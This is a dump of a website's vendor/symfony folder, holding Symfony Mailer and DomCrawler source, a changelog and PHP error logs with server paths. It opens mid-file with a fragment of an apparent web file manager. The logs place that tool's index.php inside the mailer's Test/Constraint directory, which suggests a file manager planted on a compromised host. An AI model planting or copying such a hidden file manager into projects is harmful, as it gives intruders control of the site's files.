'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
'; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
mailer/Test/Constraint/error_log000064400000001600151113511450012767 0ustar00[09-Nov-2025 06:29:03 Etc/UTC] PHP Warning: session_cache_limiter(): Session cache limiter cannot be changed when a session is active in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/Constraint/index.php on line 191 [09-Nov-2025 06:29:03 Etc/UTC] PHP Warning: session_name(): Session name cannot be changed when a session is active in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/Constraint/index.php on line 192 [09-Nov-2025 06:29:03 Etc/UTC] PHP Warning: session_cache_limiter(): Session cache limiter cannot be changed when a session is active in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/Constraint/index.php on line 191 [09-Nov-2025 06:29:03 Etc/UTC] PHP Warning: session_name(): Session name cannot be changed when a session is active in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/Constraint/index.php on line 192 mailer/Test/Constraint/EmailIsQueued.php000064400000001471151113511450014265 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Mailer\Event\MessageEvent; final class EmailIsQueued extends Constraint { public function toString(): string { return 'is queued'; } /** * @param MessageEvent $event */ protected function matches($event): bool { return $event->isQueued(); } /** * @param MessageEvent $event */ protected function failureDescription($event): string { return 'the Email '.$this->toString(); } } mailer/Test/error_log000064400000005764151113511450010662 0ustar00[19-Nov-2025 17:31:04 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php on line 29 [20-Nov-2025 00:07:27 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php on line 29 [20-Nov-2025 07:14:00 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php on line 29 [20-Nov-2025 08:20:53 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php on line 29 [20-Nov-2025 10:10:17 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php on line 29 [20-Nov-2025 12:15:35 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php on line 29 [20-Nov-2025 13:45:47 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php on line 29 [20-Nov-2025 14:18:35 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php on line 29 [25-Nov-2025 03:01:08 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Test/TransportFactoryTestCase.php on line 29 mailer/Test/TransportFactoryTestCase.php000064400000006262151113511450014430 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Test; use PHPUnit\Framework\TestCase; use Psr\Log\LoggerInterface; use Symfony\Component\Mailer\Exception\IncompleteDsnException; use Symfony\Component\Mailer\Exception\UnsupportedSchemeException; use Symfony\Component\Mailer\Transport\Dsn; use Symfony\Component\Mailer\Transport\TransportFactoryInterface; use Symfony\Component\Mailer\Transport\TransportInterface; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; use Symfony\Contracts\HttpClient\HttpClientInterface; /** * A test case to ease testing Transport Factory. * * @author Konstantin Myakshin */ abstract class TransportFactoryTestCase extends TestCase { protected const USER = 'u$er'; protected const PASSWORD = 'pa$s'; protected $dispatcher; protected $client; protected $logger; abstract public function getFactory(): TransportFactoryInterface; abstract public static function supportsProvider(): iterable; abstract public static function createProvider(): iterable; public static function unsupportedSchemeProvider(): iterable { return []; } public static function incompleteDsnProvider(): iterable { return []; } /** * @dataProvider supportsProvider */ public function testSupports(Dsn $dsn, bool $supports) { $factory = $this->getFactory(); $this->assertSame($supports, $factory->supports($dsn)); } /** * @dataProvider createProvider */ public function testCreate(Dsn $dsn, TransportInterface $transport) { $factory = $this->getFactory(); $this->assertEquals($transport, $factory->create($dsn)); if (str_contains('smtp', $dsn->getScheme())) { $this->assertStringMatchesFormat($dsn->getScheme().'://%S'.$dsn->getHost().'%S', (string) $transport); } } /** * @dataProvider unsupportedSchemeProvider */ public function testUnsupportedSchemeException(Dsn $dsn, string $message = null) { $factory = $this->getFactory(); $this->expectException(UnsupportedSchemeException::class); if (null !== $message) { $this->expectExceptionMessage($message); } $factory->create($dsn); } /** * @dataProvider incompleteDsnProvider */ public function testIncompleteDsnException(Dsn $dsn) { $factory = $this->getFactory(); $this->expectException(IncompleteDsnException::class); $factory->create($dsn); } protected function getDispatcher(): EventDispatcherInterface { return $this->dispatcher ??= $this->createMock(EventDispatcherInterface::class); } protected function getClient(): HttpClientInterface { return $this->client ??= $this->createMock(HttpClientInterface::class); } protected function getLogger(): LoggerInterface { return $this->logger ??= $this->createMock(LoggerInterface::class); } } mailer/Messenger/SendEmailMessage.php000064400000001532151113511450013622 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Messenger; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mime\RawMessage; /** * @author Fabien Potencier */ class SendEmailMessage { private RawMessage $message; private ?Envelope $envelope; public function __construct(RawMessage $message, Envelope $envelope = null) { $this->message = $message; $this->envelope = $envelope; } public function getMessage(): RawMessage { return $this->message; } public function getEnvelope(): ?Envelope { return $this->envelope; } } mailer/Messenger/MessageHandler.php000064400000001436151113511450013341 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Messenger; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mailer\Transport\TransportInterface; /** * @author Fabien Potencier */ class MessageHandler { private TransportInterface $transport; public function __construct(TransportInterface $transport) { $this->transport = $transport; } public function __invoke(SendEmailMessage $message): ?SentMessage { return $this->transport->send($message->getMessage(), $message->getEnvelope()); } } mailer/Event/MessageEvent.php000064400000004735151113511450012203 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Event; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mailer\Exception\LogicException; use Symfony\Component\Messenger\Stamp\StampInterface; use Symfony\Component\Mime\RawMessage; use Symfony\Contracts\EventDispatcher\Event; /** * Allows the transformation of a Message and the Envelope before the email is sent. * * @author Fabien Potencier */ final class MessageEvent extends Event { private RawMessage $message; private Envelope $envelope; private string $transport; private bool $queued; private bool $rejected = false; /** @var StampInterface[] */ private array $stamps = []; public function __construct(RawMessage $message, Envelope $envelope, string $transport, bool $queued = false) { $this->message = $message; $this->envelope = $envelope; $this->transport = $transport; $this->queued = $queued; } public function getMessage(): RawMessage { return $this->message; } public function setMessage(RawMessage $message): void { $this->message = $message; } public function getEnvelope(): Envelope { return $this->envelope; } public function setEnvelope(Envelope $envelope): void { $this->envelope = $envelope; } public function getTransport(): string { return $this->transport; } public function isQueued(): bool { return $this->queued; } public function isRejected(): bool { return $this->rejected; } public function reject(): void { $this->rejected = true; $this->stopPropagation(); } public function addStamp(StampInterface $stamp): void { if (!$this->queued) { throw new LogicException(sprintf('Cannot call "%s()" on a message that is not meant to be queued.', __METHOD__)); } $this->stamps[] = $stamp; } /** * @return StampInterface[] */ public function getStamps(): array { if (!$this->queued) { throw new LogicException(sprintf('Cannot call "%s()" on a message that is not meant to be queued.', __METHOD__)); } return $this->stamps; } } mailer/Event/FailedMessageEvent.php000064400000001375151113511450013305 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Event; use Symfony\Component\Mime\RawMessage; use Symfony\Contracts\EventDispatcher\Event; /** * @author Fabien Potencier */ final class FailedMessageEvent extends Event { public function __construct( private RawMessage $message, private \Throwable $error, ) { } public function getMessage(): RawMessage { return $this->message; } public function getError(): \Throwable { return $this->error; } } mailer/Event/SentMessageEvent.php000064400000001175151113511450013030 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Event; use Symfony\Component\Mailer\SentMessage; use Symfony\Contracts\EventDispatcher\Event; /** * @author Fabien Potencier */ final class SentMessageEvent extends Event { public function __construct(private SentMessage $message) { } public function getMessage(): SentMessage { return $this->message; } } mailer/Event/error_log000064400000001765151113511450011021 0ustar00[25-Nov-2025 02:59:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Event/MessageEvent.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Event/MessageEvent.php on line 25 [25-Nov-2025 05:31:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Event/SentMessageEvent.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Event/SentMessageEvent.php on line 20 [25-Nov-2025 06:30:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Event/FailedMessageEvent.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Event/FailedMessageEvent.php on line 20 mailer/Event/MessageEvents.php000064400000002762151113511450012364 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Event; use Symfony\Component\Mime\RawMessage; /** * @author Fabien Potencier */ class MessageEvents { /** * @var MessageEvent[] */ private array $events = []; /** * @var array */ private array $transports = []; public function add(MessageEvent $event): void { $this->events[] = $event; $this->transports[$event->getTransport()] = true; } public function getTransports(): array { return array_keys($this->transports); } /** * @return MessageEvent[] */ public function getEvents(string $name = null): array { if (null === $name) { return $this->events; } $events = []; foreach ($this->events as $event) { if ($name === $event->getTransport()) { $events[] = $event; } } return $events; } /** * @return RawMessage[] */ public function getMessages(string $name = null): array { $events = $this->getEvents($name); $messages = []; foreach ($events as $event) { $messages[] = $event->getMessage(); } return $messages; } } mailer/CHANGELOG.md000064400000006214151113511450007626 0ustar00CHANGELOG ========= 6.3 --- * Add `MessageEvent::reject()` to allow rejecting an email before sending it * Change the default port for the `mailgun+smtp` transport from 465 to 587 * Add `$authenticators` parameter in `EsmtpTransport` constructor and `EsmtpTransport::setAuthenticators()` to allow overriding of default eSMTP authenticators 6.2.7 ----- * [BC BREAK] The following data providers for `TransportFactoryTestCase` are now static: `supportsProvider()`, `createProvider()`, `unsupportedSchemeProvider()`and `incompleteDsnProvider()` 6.2 --- * Add a `mailer:test` command * Add `SentMessageEvent` and `FailedMessageEvent` events 6.1 --- * Make `start()` and `stop()` methods public on `SmtpTransport` * Improve extensibility of `EsmtpTransport` 6.0 --- * The `HttpTransportException` class takes a string at first argument 5.4 --- * Enable the mailer to operate on any PSR-14-compatible event dispatcher 5.3 --- * added the `mailer` monolog channel and set it on all transport definitions 5.2.0 ----- * added `NativeTransportFactory` to configure a transport based on php.ini settings * added `local_domain`, `restart_threshold`, `restart_threshold_sleep` and `ping_threshold` options for `smtp` * added `command` option for `sendmail` 4.4.0 ----- * [BC BREAK] changed the `NullTransport` DSN from `smtp://null` to `null://null` * [BC BREAK] renamed `SmtpEnvelope` to `Envelope`, renamed `DelayedSmtpEnvelope` to `DelayedEnvelope` * [BC BREAK] changed the syntax for failover and roundrobin DSNs Before: dummy://a || dummy://b (for failover) dummy://a && dummy://b (for roundrobin) After: failover(dummy://a dummy://b) roundrobin(dummy://a dummy://b) * added support for multiple transports on a `Mailer` instance * [BC BREAK] removed the `auth_mode` DSN option (it is now always determined automatically) * STARTTLS cannot be enabled anymore (it is used automatically if TLS is disabled and the server supports STARTTLS) * [BC BREAK] Removed the `encryption` DSN option (use `smtps` instead) * Added support for the `smtps` protocol (does the same as using `smtp` and port `465`) * Added PHPUnit constraints * Added `MessageDataCollector` * Added `MessageEvents` and `MessageLoggerListener` to allow collecting sent emails * [BC BREAK] `TransportInterface` has a new `__toString()` method * [BC BREAK] Classes `AbstractApiTransport` and `AbstractHttpTransport` moved under `Transport` sub-namespace. * [BC BREAK] Transports depend on `Symfony\Contracts\EventDispatcher\EventDispatcherInterface` instead of `Symfony\Component\EventDispatcher\EventDispatcherInterface`. * Added possibility to register custom transport for dsn by implementing `Symfony\Component\Mailer\Transport\TransportFactoryInterface` and tagging with `mailer.transport_factory` tag in DI. * Added `Symfony\Component\Mailer\Test\TransportFactoryTestCase` to ease testing custom transport factories. * Added `SentMessage::getDebug()` and `TransportExceptionInterface::getDebug` to help debugging * Made `MessageEvent` final * add DSN parameter `verify_peer` to disable TLS peer verification for SMTP transport 4.3.0 ----- * Added the component. dom-crawler/Form.php000064400000036061151113511450010377 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler; use Symfony\Component\DomCrawler\Field\ChoiceFormField; use Symfony\Component\DomCrawler\Field\FormField; /** * Form represents an HTML form. * * @author Fabien Potencier */ class Form extends Link implements \ArrayAccess { private \DOMElement $button; private FormFieldRegistry $fields; private ?string $baseHref; /** * @param \DOMElement $node A \DOMElement instance * @param string|null $currentUri The URI of the page where the form is embedded * @param string|null $method The method to use for the link (if null, it defaults to the method defined by the form) * @param string|null $baseHref The URI of the used for relative links, but not for empty action * * @throws \LogicException if the node is not a button inside a form tag */ public function __construct(\DOMElement $node, string $currentUri = null, string $method = null, string $baseHref = null) { parent::__construct($node, $currentUri, $method); $this->baseHref = $baseHref; $this->initialize(); } /** * Gets the form node associated with this form. */ public function getFormNode(): \DOMElement { return $this->node; } /** * Sets the value of the fields. * * @param array $values An array of field values * * @return $this */ public function setValues(array $values): static { foreach ($values as $name => $value) { $this->fields->set($name, $value); } return $this; } /** * Gets the field values. * * The returned array does not include file fields (@see getFiles). */ public function getValues(): array { $values = []; foreach ($this->fields->all() as $name => $field) { if ($field->isDisabled()) { continue; } if (!$field instanceof Field\FileFormField && $field->hasValue()) { $values[$name] = $field->getValue(); } } return $values; } /** * Gets the file field values. */ public function getFiles(): array { if (!\in_array($this->getMethod(), ['POST', 'PUT', 'DELETE', 'PATCH'])) { return []; } $files = []; foreach ($this->fields->all() as $name => $field) { if ($field->isDisabled()) { continue; } if ($field instanceof Field\FileFormField) { $files[$name] = $field->getValue(); } } return $files; } /** * Gets the field values as PHP. * * This method converts fields with the array notation * (like foo[bar] to arrays) like PHP does. */ public function getPhpValues(): array { $values = []; foreach ($this->getValues() as $name => $value) { $qs = http_build_query([$name => $value], '', '&'); if (!empty($qs)) { parse_str($qs, $expandedValue); $varName = substr($name, 0, \strlen(key($expandedValue))); $values[] = [$varName => current($expandedValue)]; } } return array_replace_recursive([], ...$values); } /** * Gets the file field values as PHP. * * This method converts fields with the array notation * (like foo[bar] to arrays) like PHP does. * The returned array is consistent with the array for field values * (@see getPhpValues), rather than uploaded files found in $_FILES. * For a compound file field foo[bar] it will create foo[bar][name], * instead of foo[name][bar] which would be found in $_FILES. */ public function getPhpFiles(): array { $values = []; foreach ($this->getFiles() as $name => $value) { $qs = http_build_query([$name => $value], '', '&'); if (!empty($qs)) { parse_str($qs, $expandedValue); $varName = substr($name, 0, \strlen(key($expandedValue))); array_walk_recursive( $expandedValue, function (&$value, $key) { if (ctype_digit($value) && ('size' === $key || 'error' === $key)) { $value = (int) $value; } } ); reset($expandedValue); $values[] = [$varName => current($expandedValue)]; } } return array_replace_recursive([], ...$values); } /** * Gets the URI of the form. * * The returned URI is not the same as the form "action" attribute. * This method merges the value if the method is GET to mimics * browser behavior. */ public function getUri(): string { $uri = parent::getUri(); if (!\in_array($this->getMethod(), ['POST', 'PUT', 'DELETE', 'PATCH'])) { $query = parse_url($uri, \PHP_URL_QUERY); $currentParameters = []; if ($query) { parse_str($query, $currentParameters); } $queryString = http_build_query(array_merge($currentParameters, $this->getValues()), '', '&'); $pos = strpos($uri, '?'); $base = false === $pos ? $uri : substr($uri, 0, $pos); $uri = rtrim($base.'?'.$queryString, '?'); } return $uri; } protected function getRawUri(): string { // If the form was created from a button rather than the form node, check for HTML5 action overrides if ($this->button !== $this->node && $this->button->getAttribute('formaction')) { return $this->button->getAttribute('formaction'); } return $this->node->getAttribute('action'); } /** * Gets the form method. * * If no method is defined in the form, GET is returned. */ public function getMethod(): string { if (null !== $this->method) { return $this->method; } // If the form was created from a button rather than the form node, check for HTML5 method override if ($this->button !== $this->node && $this->button->getAttribute('formmethod')) { return strtoupper($this->button->getAttribute('formmethod')); } return $this->node->getAttribute('method') ? strtoupper($this->node->getAttribute('method')) : 'GET'; } /** * Gets the form name. * * If no name is defined on the form, an empty string is returned. */ public function getName(): string { return $this->node->getAttribute('name'); } /** * Returns true if the named field exists. */ public function has(string $name): bool { return $this->fields->has($name); } /** * Removes a field from the form. * * @return void */ public function remove(string $name) { $this->fields->remove($name); } /** * Gets a named field. * * @return FormField|FormField[]|FormField[][] * * @throws \InvalidArgumentException When field is not present in this form */ public function get(string $name): FormField|array { return $this->fields->get($name); } /** * Sets a named field. * * @return void */ public function set(FormField $field) { $this->fields->add($field); } /** * Gets all fields. * * @return FormField[] */ public function all(): array { return $this->fields->all(); } /** * Returns true if the named field exists. * * @param string $name The field name */ public function offsetExists(mixed $name): bool { return $this->has($name); } /** * Gets the value of a field. * * @param string $name The field name * * @return FormField|FormField[]|FormField[][] * * @throws \InvalidArgumentException if the field does not exist */ public function offsetGet(mixed $name): FormField|array { return $this->fields->get($name); } /** * Sets the value of a field. * * @param string $name The field name * @param string|array $value The value of the field * * @throws \InvalidArgumentException if the field does not exist */ public function offsetSet(mixed $name, mixed $value): void { $this->fields->set($name, $value); } /** * Removes a field from the form. * * @param string $name The field name */ public function offsetUnset(mixed $name): void { $this->fields->remove($name); } /** * Disables validation. * * @return $this */ public function disableValidation(): static { foreach ($this->fields->all() as $field) { if ($field instanceof Field\ChoiceFormField) { $field->disableValidation(); } } return $this; } /** * Sets the node for the form. * * Expects a 'submit' button \DOMElement and finds the corresponding form element, or the form element itself. * * @return void * * @throws \LogicException If given node is not a button or input or does not have a form ancestor */ protected function setNode(\DOMElement $node) { $this->button = $node; if ('button' === $node->nodeName || ('input' === $node->nodeName && \in_array(strtolower($node->getAttribute('type')), ['submit', 'button', 'image']))) { if ($node->hasAttribute('form')) { // if the node has the HTML5-compliant 'form' attribute, use it $formId = $node->getAttribute('form'); $form = $node->ownerDocument->getElementById($formId); if (null === $form) { throw new \LogicException(sprintf('The selected node has an invalid form attribute (%s).', $formId)); } $this->node = $form; return; } // we loop until we find a form ancestor do { if (null === $node = $node->parentNode) { throw new \LogicException('The selected node does not have a form ancestor.'); } } while ('form' !== $node->nodeName); } elseif ('form' !== $node->nodeName) { throw new \LogicException(sprintf('Unable to submit on a "%s" tag.', $node->nodeName)); } $this->node = $node; } /** * Adds form elements related to this form. * * Creates an internal copy of the submitted 'button' element and * the form node or the entire document depending on whether we need * to find non-descendant elements through HTML5 'form' attribute. */ private function initialize(): void { $this->fields = new FormFieldRegistry(); $xpath = new \DOMXPath($this->node->ownerDocument); // add submitted button if it has a valid name if ('form' !== $this->button->nodeName && $this->button->hasAttribute('name') && $this->button->getAttribute('name')) { if ('input' == $this->button->nodeName && 'image' == strtolower($this->button->getAttribute('type'))) { $name = $this->button->getAttribute('name'); $this->button->setAttribute('value', '0'); // temporarily change the name of the input node for the x coordinate $this->button->setAttribute('name', $name.'.x'); $this->set(new Field\InputFormField($this->button)); // temporarily change the name of the input node for the y coordinate $this->button->setAttribute('name', $name.'.y'); $this->set(new Field\InputFormField($this->button)); // restore the original name of the input node $this->button->setAttribute('name', $name); } else { $this->set(new Field\InputFormField($this->button)); } } // find form elements corresponding to the current form if ($this->node->hasAttribute('id')) { // corresponding elements are either descendants or have a matching HTML5 form attribute $formId = Crawler::xpathLiteral($this->node->getAttribute('id')); $fieldNodes = $xpath->query(sprintf('( descendant::input[@form=%s] | descendant::button[@form=%1$s] | descendant::textarea[@form=%1$s] | descendant::select[@form=%1$s] | //form[@id=%1$s]//input[not(@form)] | //form[@id=%1$s]//button[not(@form)] | //form[@id=%1$s]//textarea[not(@form)] | //form[@id=%1$s]//select[not(@form)] )[not(ancestor::template)]', $formId)); foreach ($fieldNodes as $node) { $this->addField($node); } } else { // do the xpath query with $this->node as the context node, to only find descendant elements // however, descendant elements with form attribute are not part of this form $fieldNodes = $xpath->query('( descendant::input[not(@form)] | descendant::button[not(@form)] | descendant::textarea[not(@form)] | descendant::select[not(@form)] )[not(ancestor::template)]', $this->node); foreach ($fieldNodes as $node) { $this->addField($node); } } if ($this->baseHref && '' !== $this->node->getAttribute('action')) { $this->currentUri = $this->baseHref; } } private function addField(\DOMElement $node): void { if (!$node->hasAttribute('name') || !$node->getAttribute('name')) { return; } $nodeName = $node->nodeName; if ('select' == $nodeName || 'input' == $nodeName && 'checkbox' == strtolower($node->getAttribute('type'))) { $this->set(new Field\ChoiceFormField($node)); } elseif ('input' == $nodeName && 'radio' == strtolower($node->getAttribute('type'))) { // there may be other fields with the same name that are no choice // fields already registered (see https://github.com/symfony/symfony/issues/11689) if ($this->has($node->getAttribute('name')) && $this->get($node->getAttribute('name')) instanceof ChoiceFormField) { $this->get($node->getAttribute('name'))->addChoice($node); } else { $this->set(new Field\ChoiceFormField($node)); } } elseif ('input' == $nodeName && 'file' == strtolower($node->getAttribute('type'))) { $this->set(new Field\FileFormField($node)); } elseif ('input' == $nodeName && !\in_array(strtolower($node->getAttribute('type')), ['submit', 'button', 'image'])) { $this->set(new Field\InputFormField($node)); } elseif ('textarea' == $nodeName) { $this->set(new Field\TextareaFormField($node)); } } } dom-crawler/README.md000064400000000762151113511450010241 0ustar00DomCrawler Component ==================== The DomCrawler component eases DOM navigation for HTML and XML documents. Resources --------- * [Documentation](https://symfony.com/doc/current/components/dom_crawler.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) dom-crawler/UriResolver.php000064400000007005151113511450011751 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler; /** * The UriResolver class takes an URI (relative, absolute, fragment, etc.) * and turns it into an absolute URI against another given base URI. * * @author Fabien Potencier * @author Grégoire Pineau */ class UriResolver { /** * Resolves a URI according to a base URI. * * For example if $uri=/foo/bar and $baseUri=https://symfony.com it will * return https://symfony.com/foo/bar * * If the $uri is not absolute you must pass an absolute $baseUri */ public static function resolve(string $uri, ?string $baseUri): string { $uri = trim($uri); // absolute URL? if (null !== parse_url($uri, \PHP_URL_SCHEME)) { return $uri; } if (null === $baseUri) { throw new \InvalidArgumentException('The URI is relative, so you must define its base URI passing an absolute URL.'); } // empty URI if (!$uri) { return $baseUri; } // an anchor if ('#' === $uri[0]) { return self::cleanupAnchor($baseUri).$uri; } $baseUriCleaned = self::cleanupUri($baseUri); if ('?' === $uri[0]) { return $baseUriCleaned.$uri; } // absolute URL with relative schema if (str_starts_with($uri, '//')) { return preg_replace('#^([^/]*)//.*$#', '$1', $baseUriCleaned).$uri; } $baseUriCleaned = preg_replace('#^(.*?//[^/]*)(?:\/.*)?$#', '$1', $baseUriCleaned); // absolute path if ('/' === $uri[0]) { return $baseUriCleaned.$uri; } // relative path $path = parse_url(substr($baseUri, \strlen($baseUriCleaned)), \PHP_URL_PATH) ?? ''; $path = self::canonicalizePath(substr($path, 0, strrpos($path, '/')).'/'.$uri); return $baseUriCleaned.('' === $path || '/' !== $path[0] ? '/' : '').$path; } /** * Returns the canonicalized URI path (see RFC 3986, section 5.2.4). */ private static function canonicalizePath(string $path): string { if ('' === $path || '/' === $path) { return $path; } if (str_ends_with($path, '.')) { $path .= '/'; } $output = []; foreach (explode('/', $path) as $segment) { if ('..' === $segment) { array_pop($output); } elseif ('.' !== $segment) { $output[] = $segment; } } return implode('/', $output); } /** * Removes the query string and the anchor from the given uri. */ private static function cleanupUri(string $uri): string { return self::cleanupQuery(self::cleanupAnchor($uri)); } /** * Removes the query string from the uri. */ private static function cleanupQuery(string $uri): string { if (false !== $pos = strpos($uri, '?')) { return substr($uri, 0, $pos); } return $uri; } /** * Removes the anchor from the uri. */ private static function cleanupAnchor(string $uri): string { if (false !== $pos = strpos($uri, '#')) { return substr($uri, 0, $pos); } return $uri; } } dom-crawler/LICENSE000064400000002054151113511450007763 0ustar00Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. dom-crawler/composer.json000064400000001567151113511450011510 0ustar00{ "name": "symfony/dom-crawler", "type": "library", "description": "Eases DOM navigation for HTML and XML documents", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/polyfill-ctype": "~1.8", "symfony/polyfill-mbstring": "~1.0", "masterminds/html5": "^2.6" }, "require-dev": { "symfony/css-selector": "^5.4|^6.0" }, "autoload": { "psr-4": { "Symfony\\Component\\DomCrawler\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } dom-crawler/AbstractUriElement.php000064400000006453151113511450013233 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler; /** * Any HTML element that can link to an URI. * * @author Fabien Potencier */ abstract class AbstractUriElement { /** * @var \DOMElement */ protected $node; /** * @var string|null The method to use for the element */ protected $method; /** * @var string The URI of the page where the element is embedded (or the base href) */ protected $currentUri; /** * @param \DOMElement $node A \DOMElement instance * @param string|null $currentUri The URI of the page where the link is embedded (or the base href) * @param string|null $method The method to use for the link (GET by default) * * @throws \InvalidArgumentException if the node is not a link */ public function __construct(\DOMElement $node, string $currentUri = null, ?string $method = 'GET') { $this->setNode($node); $this->method = $method ? strtoupper($method) : null; $this->currentUri = $currentUri; $elementUriIsRelative = null === parse_url(trim($this->getRawUri()), \PHP_URL_SCHEME); $baseUriIsAbsolute = null !== $this->currentUri && \in_array(strtolower(substr($this->currentUri, 0, 4)), ['http', 'file']); if ($elementUriIsRelative && !$baseUriIsAbsolute) { throw new \InvalidArgumentException(sprintf('The URL of the element is relative, so you must define its base URI passing an 